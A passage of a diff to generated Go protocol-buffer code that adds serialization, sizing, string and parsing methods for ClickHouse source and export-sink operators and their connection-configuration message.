copy(dAtA[i:], m.Hostname) + i = encodeVarintPlan(dAtA, i, uint64(len(m.Hostname))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *OTelResource) Marshal() (dAtA []byte, err error) { + size := m.Size() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBuffer(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *OTelResource) MarshalTo(dAtA []byte) (int, error) { + size := m.Size() + return m.MarshalToSizedBuffer(dAtA[:size]) +} + +func (m *OTelResource) MarshalToSizedBuffer(dAtA []byte) (int, error) { + i := len(dAtA) + _ = i + var l int + _ = l + if len(m.Attributes) > 0 { + for iNdEx := len(m.Attributes) - 1; iNdEx >= 0; iNdEx-- { + { + size, err := m.Attributes[iNdEx].MarshalToSizedBuffer(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = encodeVarintPlan(dAtA, i, uint64(size)) } i-- dAtA[i] = 0xa @@ -9209,6 +10163,102 @@ func (m *OTelExportSinkOperator) MarshalToSizedBuffer(dAtA []byte) (int, error) return len(dAtA) - i, nil } +func (m *ClickHouseExportSinkOperator) Marshal() (dAtA []byte, err error) { + size := m.Size() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBuffer(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ClickHouseExportSinkOperator) MarshalTo(dAtA []byte) (int, error) { + size := m.Size() + return m.MarshalToSizedBuffer(dAtA[:size]) +} + +func (m *ClickHouseExportSinkOperator) MarshalToSizedBuffer(dAtA []byte) (int, error) { + i := len(dAtA) + _ = i + var l int + _ = l + if len(m.ColumnMappings) > 0 { + for iNdEx := len(m.ColumnMappings) - 1; iNdEx >= 0; iNdEx-- { + { + size, err := m.ColumnMappings[iNdEx].MarshalToSizedBuffer(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = encodeVarintPlan(dAtA, i, uint64(size)) + } + i-- + dAtA[i] = 0x1a + } + } + if len(m.TableName) > 0 { + i -= len(m.TableName) + copy(dAtA[i:], m.TableName) + i = encodeVarintPlan(dAtA, i, uint64(len(m.TableName))) + i-- + dAtA[i] = 0x12 + } + if m.ClickhouseConfig != nil { + { + size, err := m.ClickhouseConfig.MarshalToSizedBuffer(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = encodeVarintPlan(dAtA, i, uint64(size)) + } + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *ClickHouseExportSinkOperator_ColumnMapping) Marshal() (dAtA []byte, err error) { + size := m.Size() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBuffer(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *ClickHouseExportSinkOperator_ColumnMapping) MarshalTo(dAtA []byte) (int, error) { + size := m.Size() + return m.MarshalToSizedBuffer(dAtA[:size]) +} + +func (m *ClickHouseExportSinkOperator_ColumnMapping) MarshalToSizedBuffer(dAtA []byte) (int, error) { + i := len(dAtA) + _ = i + var l int + _ = l + if m.ColumnType != 0 { + i = encodeVarintPlan(dAtA, i, uint64(m.ColumnType)) + i-- + dAtA[i] = 0x18 + } + if len(m.ClickhouseColumnName) > 0 { + i -= len(m.ClickhouseColumnName) + copy(dAtA[i:], m.ClickhouseColumnName) + i = encodeVarintPlan(dAtA, i, uint64(len(m.ClickhouseColumnName))) + i-- + dAtA[i] = 0x12 + } + if m.InputColumnIndex != 0 { + i = encodeVarintPlan(dAtA, i, uint64(m.InputColumnIndex)) + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + func (m *ScalarExpression) Marshal() (dAtA []byte, err error) { size := m.Size() dAtA = make([]byte, size) @@ -9451,20 +10501,20 @@ func (m *ScalarFunc) MarshalToSizedBuffer(dAtA []byte) (int, error) { var l int _ = l if len(m.ArgsDataTypes) > 0 { - dAtA57 := make([]byte, len(m.ArgsDataTypes)*10) - var j56 int + dAtA62 := make([]byte, len(m.ArgsDataTypes)*10) + var j61 int for _, num := range m.ArgsDataTypes { for num >= 1<<7 { - dAtA57[j56] = uint8(uint64(num)&0x7f | 0x80) + dAtA62[j61] = uint8(uint64(num)&0x7f | 0x80) num >>= 7 - j56++ + j61++ } - dAtA57[j56] = uint8(num) - j56++ + dAtA62[j61] = uint8(num) + j61++ } - i -= j56 - copy(dAtA[i:], dAtA57[:j56]) - i = encodeVarintPlan(dAtA, i, uint64(j56)) + i -= j61 + copy(dAtA[i:], dAtA62[:j61]) + i = encodeVarintPlan(dAtA, i, uint64(j61)) i-- dAtA[i] = 0x2a } @@ -9532,20 +10582,20 @@ func (m *AggregateExpression) MarshalToSizedBuffer(dAtA []byte) (int, error) { var l int _ = l if len(m.ArgsDataTypes) > 0 { - dAtA59 := make([]byte, len(m.ArgsDataTypes)*10) - var j58 int + dAtA64 := make([]byte, len(m.ArgsDataTypes)*10) + var j63 int for _, num := range m.ArgsDataTypes { for num >= 1<<7 { - dAtA59[j58] = uint8(uint64(num)&0x7f | 0x80) + dAtA64[j63] = uint8(uint64(num)&0x7f | 0x80) num >>= 7 - j58++ + j63++ } - dAtA59[j58] = uint8(num) - j58++ + dAtA64[j63] = uint8(num) + j63++ } - i -= j58 - copy(dAtA[i:], dAtA59[:j58]) - i = encodeVarintPlan(dAtA, i, uint64(j58)) + i -= j63 + copy(dAtA[i:], dAtA64[:j63]) + i = encodeVarintPlan(dAtA, i, uint64(j63)) i-- dAtA[i] = 0x3a } @@ -10018,6 +11068,30 @@ func (m *Operator_OTelSinkOp) Size() (n int) { } return n } +func (m *Operator_ClickhouseSourceOp) Size() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if m.ClickhouseSourceOp != nil { + l = m.ClickhouseSourceOp.Size() + n += 1 + l + sovPlan(uint64(l)) + } + return n +} +func (m *Operator_ClickhouseSinkOp) Size() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if m.ClickhouseSinkOp != nil { + l = m.ClickhouseSinkOp.Size() + n += 2 + l + sovPlan(uint64(l)) + } + return n +} func (m *Operator_GRPCSinkOp) Size() (n int) { if m == nil { return 0 @@ -10471,6 +11545,71 @@ func (m *EmptySourceOperator) Size() (n int) { return n } +func (m *ClickHouseSourceOperator) Size() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Host) + if l > 0 { + n += 1 + l + sovPlan(uint64(l)) + } + if m.Port != 0 { + n += 1 + sovPlan(uint64(m.Port)) + } + l = len(m.Username) + if l > 0 { + n += 1 + l + sovPlan(uint64(l)) + } + l = len(m.Password) + if l > 0 { + n += 1 + l + sovPlan(uint64(l)) + } + l = len(m.Database) + if l > 0 { + n += 1 + l + sovPlan(uint64(l)) + } + l = len(m.Query) + if l > 0 { + n += 1 + l + sovPlan(uint64(l)) + } + if len(m.ColumnNames) > 0 { + for _, s := range m.ColumnNames { + l = len(s) + n += 1 + l + sovPlan(uint64(l)) + } + } + if len(m.ColumnTypes) > 0 { + l = 0 + for _, e := range m.ColumnTypes { + l += sovPlan(uint64(e)) + } + n += 1 + sovPlan(uint64(l)) + l + } + if m.BatchSize != 0 { + n += 1 + sovPlan(uint64(m.BatchSize)) + } + if m.Streaming { + n += 2 + } + l = len(m.TimestampColumn) + if l > 0 { + n += 1 + l + sovPlan(uint64(l)) + } + l = len(m.PartitionColumn) + if l > 0 { + n += 1 + l + sovPlan(uint64(l)) + } + if m.StartTime != 0 { + n += 1 + sovPlan(uint64(m.StartTime)) + } + if m.EndTime != 0 { + n += 1 + sovPlan(uint64(m.EndTime)) + } + return n +} + func (m *OTelLog) Size() (n int) { if m == nil { return 0 @@ -10763,6 +11902,38 @@ func (m *OTelEndpointConfig) Size() (n int) { return n } +func (m *ClickHouseConfig) Size() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Hostname) + if l > 0 { + n += 1 + l + sovPlan(uint64(l)) + } + l = len(m.Host) + if l > 0 { + n += 1 + l + sovPlan(uint64(l)) + } + if m.Port != 0 { + n += 1 + sovPlan(uint64(m.Port)) + } + l = len(m.Username) + if l > 0 { + n += 1 + l + sovPlan(uint64(l)) + } + l = len(m.Password) + if l > 0 { + n += 1 + l + sovPlan(uint64(l)) + } + l = len(m.Database) + if l > 0 { + n += 1 + l + sovPlan(uint64(l)) + } + return n +} + func (m *OTelResource) Size() (n int) { if m == nil { return 0 @@ -10813,43 +11984,85 @@ func (m *OTelExportSinkOperator) Size() (n int) { return n } -func (m *ScalarExpression) Size() (n int) { +func (m *ClickHouseExportSinkOperator) Size() (n int) { if m == nil { return 0 } var l int _ = l - if m.Value != nil { - n += m.Value.Size() + if m.ClickhouseConfig != nil { + l = m.ClickhouseConfig.Size() + n += 1 + l + sovPlan(uint64(l)) + } + l = len(m.TableName) + if l > 0 { + n += 1 + l + sovPlan(uint64(l)) + } + if len(m.ColumnMappings) > 0 { + for _, e := range m.ColumnMappings { + l = e.Size() + n += 1 + l + sovPlan(uint64(l)) + } } return n } -func (m *ScalarExpression_Constant) Size() (n int) { +func (m *ClickHouseExportSinkOperator_ColumnMapping) Size() (n int) { if m == nil { return 0 } var l int _ = l - if m.Constant != nil { - l = m.Constant.Size() + if m.InputColumnIndex != 0 { + n += 1 + sovPlan(uint64(m.InputColumnIndex)) + } + l = len(m.ClickhouseColumnName) + if l > 0 { n += 1 + l + sovPlan(uint64(l)) } + if m.ColumnType != 0 { + n += 1 + sovPlan(uint64(m.ColumnType)) + } return n } -func (m *ScalarExpression_Column) Size() (n int) { + +func (m *ScalarExpression) Size() (n int) { if m == nil { return 0 } var l int _ = l - if m.Column != nil { - l = m.Column.Size() - n += 1 + l + sovPlan(uint64(l)) + if m.Value != nil { + n += m.Value.Size() } return n } -func (m *ScalarExpression_Func) Size() (n int) { + +func (m *ScalarExpression_Constant) Size() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if m.Constant != nil { + l = m.Constant.Size() + n += 1 + l + sovPlan(uint64(l)) + } + return n +} +func (m *ScalarExpression_Column) Size() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if m.Column != nil { + l = m.Column.Size() + n += 1 + l + sovPlan(uint64(l)) + } + return n +} +func (m *ScalarExpression_Func) Size() (n int) { if m == nil { return 0 } @@ -11299,6 +12512,26 @@ func (this *Operator_OTelSinkOp) String() string { }, "") return s } +func (this *Operator_ClickhouseSourceOp) String() string { + if this == nil { + return "nil" + } + s := strings.Join([]string{`&Operator_ClickhouseSourceOp{`, + `ClickhouseSourceOp:` + strings.Replace(fmt.Sprintf("%v", this.ClickhouseSourceOp), "ClickHouseSourceOperator", "ClickHouseSourceOperator", 1) + `,`, + `}`, + }, "") + return s +} +func (this *Operator_ClickhouseSinkOp) String() string { + if this == nil { + return "nil" + } + s := strings.Join([]string{`&Operator_ClickhouseSinkOp{`, + `ClickhouseSinkOp:` + strings.Replace(fmt.Sprintf("%v", this.ClickhouseSinkOp), "ClickHouseExportSinkOperator", "ClickHouseExportSinkOperator", 1) + `,`, + `}`, + }, "") + return s +} func (this *Operator_GRPCSinkOp) String() string { if this == nil { return "nil" @@ -11580,6 +12813,29 @@ func (this *EmptySourceOperator) String() string { }, "") return s } +func (this *ClickHouseSourceOperator) String() string { + if this == nil { + return "nil" + } + s := strings.Join([]string{`&ClickHouseSourceOperator{`, + `Host:` + fmt.Sprintf("%v", this.Host) + `,`, + `Port:` + fmt.Sprintf("%v", this.Port) + `,`, + `Username:` + fmt.Sprintf("%v", this.Username) + `,`, + `Password:` + fmt.Sprintf("%v", this.Password) + `,`, + `Database:` + fmt.Sprintf("%v", this.Database) + `,`, + `Query:` + fmt.Sprintf("%v", this.Query) + `,`, + `ColumnNames:` + fmt.Sprintf("%v", this.ColumnNames) + `,`, + `ColumnTypes:` + fmt.Sprintf("%v", this.ColumnTypes) + `,`, + `BatchSize:` + fmt.Sprintf("%v", this.BatchSize) + `,`, + `Streaming:` + fmt.Sprintf("%v", this.Streaming) + `,`, + `TimestampColumn:` + fmt.Sprintf("%v", this.TimestampColumn) + `,`, + `PartitionColumn:` + fmt.Sprintf("%v", this.PartitionColumn) + `,`, + `StartTime:` + fmt.Sprintf("%v", this.StartTime) + `,`, + `EndTime:` + fmt.Sprintf("%v", this.EndTime) + `,`, + `}`, + }, "") + return s +} func (this *OTelLog) String() string { if this == nil { return "nil" @@ -11806,6 +13062,21 @@ func (this *OTelEndpointConfig) String() string { }, "") return s } +func (this *ClickHouseConfig) String() string { + if this == nil { + return "nil" + } + s := strings.Join([]string{`&ClickHouseConfig{`, + `Hostname:` + fmt.Sprintf("%v", this.Hostname) + `,`, + `Host:` + fmt.Sprintf("%v", this.Host) + `,`, + `Port:` + fmt.Sprintf("%v", this.Port) + `,`, + `Username:` + fmt.Sprintf("%v", this.Username) + `,`, + `Password:` + fmt.Sprintf("%v", this.Password) + `,`, + `Database:` + fmt.Sprintf("%v", this.Database) + `,`, + `}`, + }, "") + return s +} func (this *OTelResource) String() string { if this == nil { return "nil" @@ -11850,6 +13121,35 @@ func (this *OTelExportSinkOperator) String() string { }, "") return s } +func (this *ClickHouseExportSinkOperator) String() string { + if this == nil { + return "nil" + } + repeatedStringForColumnMappings := "[]*ClickHouseExportSinkOperator_ColumnMapping{" + for _, f := range this.ColumnMappings { + repeatedStringForColumnMappings += strings.Replace(fmt.Sprintf("%v", f), "ClickHouseExportSinkOperator_ColumnMapping", "ClickHouseExportSinkOperator_ColumnMapping", 1) + "," + } + repeatedStringForColumnMappings += "}" + s := strings.Join([]string{`&ClickHouseExportSinkOperator{`, + `ClickhouseConfig:` + strings.Replace(this.ClickhouseConfig.String(), "ClickHouseConfig", "ClickHouseConfig", 1) + `,`, + `TableName:` + fmt.Sprintf("%v", this.TableName) + `,`, + `ColumnMappings:` + repeatedStringForColumnMappings + `,`, + `}`, + }, "") + return s +} +func (this *ClickHouseExportSinkOperator_ColumnMapping) String() string { + if this == nil { + return "nil" + } + s := strings.Join([]string{`&ClickHouseExportSinkOperator_ColumnMapping{`, + `InputColumnIndex:` + fmt.Sprintf("%v", this.InputColumnIndex) + `,`, + `ClickhouseColumnName:` + fmt.Sprintf("%v", this.ClickhouseColumnName) + `,`, + `ColumnType:` + fmt.Sprintf("%v", this.ColumnType) + `,`, + `}`, + }, "") + return s +} func (this *ScalarExpression) String() string { if this == nil { return "nil" @@ -13522,6 +14822,76 @@ func (m *Operator) Unmarshal(dAtA []byte) error { } m.Op = &Operator_OTelSinkOp{v} iNdEx = postIndex + case 15: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field ClickhouseSourceOp", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if msglen < 0 { + return ErrInvalidLengthPlan + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return ErrInvalidLengthPlan + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + v := &ClickHouseSourceOperator{} + if err := v.Unmarshal(dAtA[iNdEx:postIndex]); err != nil { + return err + } + m.Op = &Operator_ClickhouseSourceOp{v} + iNdEx = postIndex + case 16: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field ClickhouseSinkOp", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if msglen < 0 { + return ErrInvalidLengthPlan + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return ErrInvalidLengthPlan + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + v := &ClickHouseExportSinkOperator{} + if err := v.Unmarshal(dAtA[iNdEx:postIndex]); err != nil { + return err + } + m.Op = &Operator_ClickhouseSinkOp{v} + iNdEx = postIndex case 1000: if wireType != 2 { return fmt.Errorf("proto: wrong wireType = %d for field GRPCSinkOp", wireType) @@ -16420,7 +17790,7 @@ func (m *EmptySourceOperator) Unmarshal(dAtA []byte) error { } return nil } -func (m *OTelLog) Unmarshal(dAtA []byte) error { +func (m *ClickHouseSourceOperator) Unmarshal(dAtA []byte) error { l := len(dAtA) iNdEx := 0 for iNdEx < l { @@ -16443,17 +17813,17 @@ func (m *OTelLog) Unmarshal(dAtA []byte) error { fieldNum := int32(wire >> 3) wireType := int(wire & 0x7) if wireType == 4 { - return fmt.Errorf("proto: OTelLog: wiretype end group for non-group") + return fmt.Errorf("proto: ClickHouseSourceOperator: wiretype end group for non-group") } if fieldNum <= 0 { - return fmt.Errorf("proto: OTelLog: illegal tag %d (wire type %d)", fieldNum, wire) + return fmt.Errorf("proto: ClickHouseSourceOperator: illegal tag %d (wire type %d)", fieldNum, wire) } switch fieldNum { case 1: if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field Attributes", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field Host", wireType) } - var msglen int + var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { return ErrIntOverflowPlan @@ -16463,31 +17833,29 @@ func (m *OTelLog) Unmarshal(dAtA []byte) error { } b := dAtA[iNdEx] iNdEx++ - msglen |= int(b&0x7F) << shift + stringLen |= uint64(b&0x7F) << shift if b < 0x80 { break } } - if msglen < 0 { + intStringLen := int(stringLen) + if intStringLen < 0 { return ErrInvalidLengthPlan } - postIndex := iNdEx + msglen + postIndex := iNdEx + intStringLen if postIndex < 0 { return ErrInvalidLengthPlan } if postIndex > l { return io.ErrUnexpectedEOF } - m.Attributes = append(m.Attributes, &OTelAttribute{}) - if err := m.Attributes[len(m.Attributes)-1].Unmarshal(dAtA[iNdEx:postIndex]); err != nil { - return err - } + m.Host = string(dAtA[iNdEx:postIndex]) iNdEx = postIndex case 2: if wireType != 0 { - return fmt.Errorf("proto: wrong wireType = %d for field TimeColumnIndex", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field Port", wireType) } - m.TimeColumnIndex = 0 + m.Port = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { return ErrIntOverflowPlan @@ -16497,16 +17865,16 @@ func (m *OTelLog) Unmarshal(dAtA []byte) error { } b := dAtA[iNdEx] iNdEx++ - m.TimeColumnIndex |= int64(b&0x7F) << shift + m.Port |= int32(b&0x7F) << shift if b < 0x80 { break } } case 3: - if wireType != 0 { - return fmt.Errorf("proto: wrong wireType = %d for field ObservedTimeColumnIndex", wireType) + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Username", wireType) } - m.ObservedTimeColumnIndex = 0 + var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { return ErrIntOverflowPlan @@ -16516,16 +17884,29 @@ func (m *OTelLog) Unmarshal(dAtA []byte) error { } b := dAtA[iNdEx] iNdEx++ - m.ObservedTimeColumnIndex |= int64(b&0x7F) << shift + stringLen |= uint64(b&0x7F) << shift if b < 0x80 { break } } + intStringLen := int(stringLen) + if intStringLen < 0 { + return ErrInvalidLengthPlan + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return ErrInvalidLengthPlan + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Username = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex case 4: - if wireType != 0 { - return fmt.Errorf("proto: wrong wireType = %d for field SeverityNumber", wireType) + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Password", wireType) } - m.SeverityNumber = 0 + var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { return ErrIntOverflowPlan @@ -16535,14 +17916,27 @@ func (m *OTelLog) Unmarshal(dAtA []byte) error { } b := dAtA[iNdEx] iNdEx++ - m.SeverityNumber |= int64(b&0x7F) << shift + stringLen |= uint64(b&0x7F) << shift if b < 0x80 { break } } + intStringLen := int(stringLen) + if intStringLen < 0 { + return ErrInvalidLengthPlan + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return ErrInvalidLengthPlan + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Password = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex case 5: if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field SeverityText", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field Database", wireType) } var stringLen uint64 for shift := uint(0); ; shift += 7 { @@ -16570,13 +17964,13 @@ func (m *OTelLog) Unmarshal(dAtA []byte) error { if postIndex > l { return io.ErrUnexpectedEOF } - m.SeverityText = string(dAtA[iNdEx:postIndex]) + m.Database = string(dAtA[iNdEx:postIndex]) iNdEx = postIndex case 6: - if wireType != 0 { - return fmt.Errorf("proto: wrong wireType = %d for field BodyColumnIndex", wireType) + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Query", wireType) } - m.BodyColumnIndex = 0 + var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { return ErrIntOverflowPlan @@ -16586,79 +17980,42 @@ func (m *OTelLog) Unmarshal(dAtA []byte) error { } b := dAtA[iNdEx] iNdEx++ - m.BodyColumnIndex |= int64(b&0x7F) << shift + stringLen |= uint64(b&0x7F) << shift if b < 0x80 { break } } - default: - iNdEx = preIndex - skippy, err := skipPlan(dAtA[iNdEx:]) - if err != nil { - return err + intStringLen := int(stringLen) + if intStringLen < 0 { + return ErrInvalidLengthPlan } - if (skippy < 0) || (iNdEx+skippy) < 0 { + postIndex := iNdEx + intStringLen + if postIndex < 0 { return ErrInvalidLengthPlan } - if (iNdEx + skippy) > l { + if postIndex > l { return io.ErrUnexpectedEOF } - iNdEx += skippy - } - } - - if iNdEx > l { - return io.ErrUnexpectedEOF - } - return nil -} -func (m *OTelSpan) Unmarshal(dAtA []byte) error { - l := len(dAtA) - iNdEx := 0 - for iNdEx < l { - preIndex := iNdEx - var wire uint64 - for shift := uint(0); ; shift += 7 { - if shift >= 64 { - return ErrIntOverflowPlan + m.Query = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 7: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field ColumnNames", wireType) } - if iNdEx >= l { - return io.ErrUnexpectedEOF - } - b := dAtA[iNdEx] - iNdEx++ - wire |= uint64(b&0x7F) << shift - if b < 0x80 { - break - } - } - fieldNum := int32(wire >> 3) - wireType := int(wire & 0x7) - if wireType == 4 { - return fmt.Errorf("proto: OTelSpan: wiretype end group for non-group") - } - if fieldNum <= 0 { - return fmt.Errorf("proto: OTelSpan: illegal tag %d (wire type %d)", fieldNum, wire) - } - switch fieldNum { - case 1: - if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field NameString", wireType) - } - var stringLen uint64 - for shift := uint(0); ; shift += 7 { - if shift >= 64 { - return ErrIntOverflowPlan - } - if iNdEx >= l { - return io.ErrUnexpectedEOF - } - b := dAtA[iNdEx] - iNdEx++ - stringLen |= uint64(b&0x7F) << shift - if b < 0x80 { - break - } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } } intStringLen := int(stringLen) if intStringLen < 0 { @@ -16671,67 +18028,82 @@ func (m *OTelSpan) Unmarshal(dAtA []byte) error { if postIndex > l { return io.ErrUnexpectedEOF } - m.Name = &OTelSpan_NameString{string(dAtA[iNdEx:postIndex])} + m.ColumnNames = append(m.ColumnNames, string(dAtA[iNdEx:postIndex])) iNdEx = postIndex - case 2: - if wireType != 0 { - return fmt.Errorf("proto: wrong wireType = %d for field NameColumnIndex", wireType) - } - var v int64 - for shift := uint(0); ; shift += 7 { - if shift >= 64 { - return ErrIntOverflowPlan + case 8: + if wireType == 0 { + var v typespb.DataType + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + v |= typespb.DataType(b&0x7F) << shift + if b < 0x80 { + break + } } - if iNdEx >= l { - return io.ErrUnexpectedEOF + m.ColumnTypes = append(m.ColumnTypes, v) + } else if wireType == 2 { + var packedLen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + packedLen |= int(b&0x7F) << shift + if b < 0x80 { + break + } } - b := dAtA[iNdEx] - iNdEx++ - v |= int64(b&0x7F) << shift - if b < 0x80 { - break + if packedLen < 0 { + return ErrInvalidLengthPlan } - } - m.Name = &OTelSpan_NameColumnIndex{v} - case 3: - if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field Attributes", wireType) - } - var msglen int - for shift := uint(0); ; shift += 7 { - if shift >= 64 { - return ErrIntOverflowPlan + postIndex := iNdEx + packedLen + if postIndex < 0 { + return ErrInvalidLengthPlan } - if iNdEx >= l { + if postIndex > l { return io.ErrUnexpectedEOF } - b := dAtA[iNdEx] - iNdEx++ - msglen |= int(b&0x7F) << shift - if b < 0x80 { - break + var elementCount int + if elementCount != 0 && len(m.ColumnTypes) == 0 { + m.ColumnTypes = make([]typespb.DataType, 0, elementCount) } + for iNdEx < postIndex { + var v typespb.DataType + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + v |= typespb.DataType(b&0x7F) << shift + if b < 0x80 { + break + } + } + m.ColumnTypes = append(m.ColumnTypes, v) + } + } else { + return fmt.Errorf("proto: wrong wireType = %d for field ColumnTypes", wireType) } - if msglen < 0 { - return ErrInvalidLengthPlan - } - postIndex := iNdEx + msglen - if postIndex < 0 { - return ErrInvalidLengthPlan - } - if postIndex > l { - return io.ErrUnexpectedEOF - } - m.Attributes = append(m.Attributes, &OTelAttribute{}) - if err := m.Attributes[len(m.Attributes)-1].Unmarshal(dAtA[iNdEx:postIndex]); err != nil { - return err - } - iNdEx = postIndex - case 4: + case 9: if wireType != 0 { - return fmt.Errorf("proto: wrong wireType = %d for field TraceIDColumn", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field BatchSize", wireType) } - m.TraceIDColumn = 0 + m.BatchSize = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { return ErrIntOverflowPlan @@ -16741,16 +18113,16 @@ func (m *OTelSpan) Unmarshal(dAtA []byte) error { } b := dAtA[iNdEx] iNdEx++ - m.TraceIDColumn |= int64(b&0x7F) << shift + m.BatchSize |= int32(b&0x7F) << shift if b < 0x80 { break } } - case 5: + case 10: if wireType != 0 { - return fmt.Errorf("proto: wrong wireType = %d for field SpanIDColumn", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field Streaming", wireType) } - m.SpanIDColumn = 0 + var v int for shift := uint(0); ; shift += 7 { if shift >= 64 { return ErrIntOverflowPlan @@ -16760,16 +18132,17 @@ func (m *OTelSpan) Unmarshal(dAtA []byte) error { } b := dAtA[iNdEx] iNdEx++ - m.SpanIDColumn |= int64(b&0x7F) << shift + v |= int(b&0x7F) << shift if b < 0x80 { break } } - case 6: - if wireType != 0 { - return fmt.Errorf("proto: wrong wireType = %d for field ParentSpanIDColumn", wireType) + m.Streaming = bool(v != 0) + case 11: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field TimestampColumn", wireType) } - m.ParentSpanIDColumn = 0 + var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { return ErrIntOverflowPlan @@ -16779,16 +18152,29 @@ func (m *OTelSpan) Unmarshal(dAtA []byte) error { } b := dAtA[iNdEx] iNdEx++ - m.ParentSpanIDColumn |= int64(b&0x7F) << shift + stringLen |= uint64(b&0x7F) << shift if b < 0x80 { break } } - case 7: - if wireType != 0 { - return fmt.Errorf("proto: wrong wireType = %d for field StartTimeColumnIndex", wireType) + intStringLen := int(stringLen) + if intStringLen < 0 { + return ErrInvalidLengthPlan } - m.StartTimeColumnIndex = 0 + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return ErrInvalidLengthPlan + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.TimestampColumn = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 12: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field PartitionColumn", wireType) + } + var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { return ErrIntOverflowPlan @@ -16798,16 +18184,29 @@ func (m *OTelSpan) Unmarshal(dAtA []byte) error { } b := dAtA[iNdEx] iNdEx++ - m.StartTimeColumnIndex |= int64(b&0x7F) << shift + stringLen |= uint64(b&0x7F) << shift if b < 0x80 { break } } - case 8: + intStringLen := int(stringLen) + if intStringLen < 0 { + return ErrInvalidLengthPlan + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return ErrInvalidLengthPlan + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.PartitionColumn = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 13: if wireType != 0 { - return fmt.Errorf("proto: wrong wireType = %d for field EndTimeColumnIndex", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field StartTime", wireType) } - m.EndTimeColumnIndex = 0 + m.StartTime = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { return ErrIntOverflowPlan @@ -16817,16 +18216,16 @@ func (m *OTelSpan) Unmarshal(dAtA []byte) error { } b := dAtA[iNdEx] iNdEx++ - m.EndTimeColumnIndex |= int64(b&0x7F) << shift + m.StartTime |= int64(b&0x7F) << shift if 